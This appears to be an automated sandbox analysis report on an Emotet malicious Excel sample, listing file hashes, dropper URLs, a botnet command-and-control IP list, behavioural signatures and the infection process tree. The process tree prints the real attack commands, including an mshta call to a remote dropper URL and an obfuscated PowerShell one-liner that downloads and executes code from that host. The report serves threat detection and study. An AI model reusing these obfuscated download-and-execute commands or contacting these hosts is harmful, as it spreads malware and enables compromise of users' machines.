emotet | 1dec115d869f2a52fa0d5ec43cdd494a34107705137ce8e43dd47aa0f6ebb3bd

Analysis

max time kernel
122s
max time network
143s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 15:12

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General

Target
tmpawrg_t18.xls
Size 155KB
Sample220127-sk7bwaeffl
SHA256 1dec115d869f2a52fa0d5ec43cdd494a34107705137ce8e43dd47aa0f6ebb3bd
MD5 61e7a6c96b9c965376ce2c9f3ea81c4b
SHA1 4f9e254a16e07fcbe87c05ca536e351b94670701
SHA512 3634f494a062a9b645fb263328070b0647bfe86d04b8e112e8bce353f91046468c507471eefec305d15ebdbb0712387b9414cf30bc5fa5e4dbb1c549770667ad
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2156	2580	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	3180	mshta.exe
29	3000	powershell.exe
31	3000	powershell.exe
32	3000	powershell.exe
58	2680	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
580	rundll32.exe
3856	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hrmmrmqpvvdufgb\udcnlvuamocrgs.ecw	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3872	3180	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2580	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3000	powershell.exe
3000	powershell.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3000	powershell.exe
2680	rundll32.exe
2680	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3872	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE
2580	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2156	2580	EXCEL.EXE	71
PID 2580 wrote to memory of 2156	2580	EXCEL.EXE	71
PID 2156 wrote to memory of 3180	2156	cmd.exe	73
PID 2156 wrote to memory of 3180	2156	cmd.exe	73
PID 3180 wrote to memory of 3000	3180	mshta.exe	75
PID 3180 wrote to memory of 3000	3180	mshta.exe	75
PID 3000 wrote to memory of 1156	3000	powershell.exe	78
PID 3000 wrote to memory of 1156	3000	powershell.exe	78
PID 1156 wrote to memory of 580	1156	cmd.exe	79
PID 1156 wrote to memory of 580	1156	cmd.exe	79
PID 1156 wrote to memory of 580	1156	cmd.exe	79
PID 580 wrote to memory of 3856	580	rundll32.exe	80
PID 580 wrote to memory of 3856	580	rundll32.exe	80
PID 580 wrote to memory of 3856	580	rundll32.exe	80
PID 3856 wrote to memory of 1008	3856	rundll32.exe	83
PID 3856 wrote to memory of 1008	3856	rundll32.exe	83
PID 3856 wrote to memory of 1008	3856	rundll32.exe	83
PID 1008 wrote to memory of 2680	1008	rundll32.exe	84
PID 1008 wrote to memory of 2680	1008	rundll32.exe	84
PID 1008 wrote to memory of 2680	1008	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpawrg_t18.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3000
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1156
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:580
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3856
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hrmmrmqpvvdufgb\udcnlvuamocrgs.ecw",ezLUyqoux
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1008
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hrmmrmqpvvdufgb\udcnlvuamocrgs.ecw",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2680
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3180 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/580-592-0x00000000032B0000-0x00000000032D7000-memory.dmp

Download

memory/1008-620-0x0000000004A60000-0x0000000004A87000-memory.dmp

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memory/2580-658-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/2580-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Download

memory/2580-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

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memory/2580-657-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-656-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-655-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2580-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2680-624-0x0000000001000000-0x0000000001027000-memory.dmp

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memory/3000-277-0x0000026931570000-0x0000026931592000-memory.dmp

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memory/3000-483-0x0000026919500000-0x0000026931650000-memory.dmp

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memory/3000-429-0x0000026919500000-0x0000026931650000-memory.dmp

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memory/3000-371-0x0000026919500000-0x0000026931650000-memory.dmp

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memory/3000-308-0x0000026931B30000-0x0000026931BA6000-memory.dmp

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memory/3000-297-0x00000269315F0000-0x000002693162C000-memory.dmp

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memory/3856-598-0x0000000004A30000-0x0000000004A57000-memory.dmp

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memory/3856-600-0x0000000004B30000-0x0000000004B57000-memory.dmp

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memory/3856-602-0x0000000004B90000-0x0000000004BB7000-memory.dmp

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memory/3856-605-0x0000000004BF0000-0x0000000004C17000-memory.dmp

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memory/3856-618-0x0000000004DB0000-0x0000000004DD7000-memory.dmp

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memory/3856-595-0x0000000001120000-0x0000000001147000-memory.dmp

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memory/3856-623-0x0000000000AD0000-0x0000000000AF7000-memory.dmp

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